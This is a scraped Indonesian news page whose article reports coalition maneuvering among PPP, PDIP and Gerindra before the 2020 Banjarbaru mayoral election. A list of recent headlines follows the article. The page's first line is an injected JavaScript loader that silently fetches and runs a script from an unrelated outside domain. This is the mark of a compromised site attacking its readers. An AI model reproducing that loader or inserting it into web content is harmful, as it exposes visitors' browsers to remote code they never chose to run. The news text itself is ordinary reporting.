(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Diputus Aditya Jelang Daftar KPU, ‘Patah Hati’ Gerindra Munculkan Opsi Poros Ke-4 Pilkada Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dinamika politik di Kota Banjarbaru seakan tak pernah berhenti bergejolak. Sekali lagi, Ketua DPW PPP Kalsel Aditya Mufti Ariffin gonta-ganti pasangan menjelang pendaftaran di KPU tanggal 4 September nanti.

Menggandeng pasangan baru Ketua DPC PDIP Banjarbaru Wartono, Aditya menceraikan Ketua DPC Partai Gerindra Banjarbaru Syahriani Syahran.

Impian dibangunnya koalisi Gerindra dan PPP sebagai perahu politik yang akan membawa Aditya-Syahriani, kini harus diurungkan. Memalingkan wajah dari partai berlambang kepala garuda dengan jaminan 6 kursi di parlemen DPRD Banjarbaru, Aditya lebih melirik partai besutan Megawati yakni PDI Perjuangan.

Kabar ini menyebar secara cepat, setelah politisi senior PPP, Syaifullah Tamliha membeberkan bahwa PPP dan PDI Perjuangan sepakat mengusung Aditya berpasangan dengan Ketua DPC PDI Perjuangan Banjarbaru, Wartono, pada kontestasi Pilkada di Banjarbaru.

“Ya, memang demikian. Surat Keputusan dari DPP PPP dan DPP PDI Perjuangan bahkan sudah turun,” katanya.

Secara syarat pencalonan, koalisi PPP dan PDI Perjuangan memang sangat mampu membawa Aditya-Wartono ke panggung demokrasi. Tuntutan wajib mengantongi 6 kursi di parlemen sesuai penetapan KPU Banjarbaru, sudah berhasil dipenuhi koalisi ini dengan total gabungan sebanyak 7 kursi (PPP 4 kursi dan PDI Perjuangan 3 kursi).

Walaupun begitu, baik Aditya maupun Wartono nampaknya kompak malu-malu ihwal kabar mereka yang dijodohkan maju di pencalonan sebagai satu pasangan. Seperti halnya Aditya yang mengaku masih menunggu infomasi resmi dari DPP PPP.

“Yah, saya menunggu info dari DPP berkaitan hal tersebut,” akunya, saat dihubungi Kanalkalimantan.com, Kamis (27/8/2020) malam.

Begitu pula Wartono, yang menyuruh menunggu kepastiannya saat pendaftaran di KPU Banjarbaru, pada 4 September mendatang. “Kita tunggu sampai pendaftaran. Politik itu dinamis,” ujar mantan Wakil Ketua DPRD Banjarbaru tersebut.

Kemesraan yang mulai terajut antar Aditya dan Wartono, tentu begitu kontras dengan apa yang saat ini dihadapi oleh partai Gerindra. Didesak waktu pendaftaran yang hanya tinggal beberapa hari lagi, partai Gerindra justru tak dilirik oleh partai manapun untuk diajak berkoalisi.

Syahriani yang menjadi unjung tombak Gerindra di Pilkada Banjarbaru, kini harus meratapi peta pertarungan seorang diri, usai ditolak Aditya. Maka menarik mengetahui apa langkah Syahriani dan Gerindra selanjutnya, mengingat seluruh kandidat pasangan yang ada saat ini, telah mengunci koalisi parpol masing-masing.

Dalam wawancara singkat, Syahriani menyatakan semua keputusan ada di tangan para elit Gerindra baik di level provinsi maupun pusat. Apapun perintah partai terhadap dirinya, tentu menjadi titah yang harus dijalankan.

“Saya tinggal menunggu arahan dari partai saja. Apakah tetap maju dalam pencalonan atau memilih abstain di Pilkada tahun ini,” imbuhnya.

Namun patut digarisbawahi bahwa Gerindra adalah satu-satunya partai yang tak bergantung pada koalisi di Pilkada Banjarbaru tahun ini. Sebab, kepemilikan 6 kursi di DPRD Banjarbaru, membuat Gerindra sebenarnya mampu mengusung kandidat sendiri.

Nah, jika ini pada akhirnya Gerindra mengambil langkah berani tersebut, maka secara otomatis memunculkan poros ke 4 di Pilkada Banjarbaru.

Dalam deretan nama kader Gerindra di Banjarbaru, ada berbagai figur yang bisa dijagokan, baik itu Syahriani sang Ketua DPC Gerindra Banjarbaru, Fadliansyah yang saat ini menduduki kursi Ketua DPRD Banjarbaru. Ada juga Neny Hendriyawty, yang telah menjadi anggota DPRD selama 2 periode. Lalu, Syamsuri yang memperoleh 1.903 suara dan saat ini menjabat sebagai Ketua Komisi II DPRD Banjarbaru.

Bahkan, bisa saja PKS yang hingga kini belum mengambil sikap di Pilkada Banjarbaru, memutuskan berkoalisi dengan Gerindra. Meskipun, kabarnya duet Gusti Iskandar – AR Iwansyah tengah merayu partai ini untuk begabung ke gerbong koalisi.

Apapun itu, jika poros ke 4 muncul atas keberanian Gerindra untuk mengusung kandidat sendiri, maka dipastikan panggung pesta demokrasi di Banjarbaru akan bersempit-sempitan.

Para kandidat dan koalisi yang sudah terbentuk saat ini, H Martinus-Darmawan Jaya Setiawan (NasDem, PAN, Demokrat), Gusti Iskandar- AR Iwansyah (Golkar dan PKB), Aditya Mufti Ariffin-Wartono (PPP dan PDI Perjuangan). (kanalkalimantan.com/rico)

 

Reporter: Rico
Editor: Cell


Desy Arfianty

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

6 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

6 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

7 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

11 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

13 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

13 jam ago

This website uses cookies.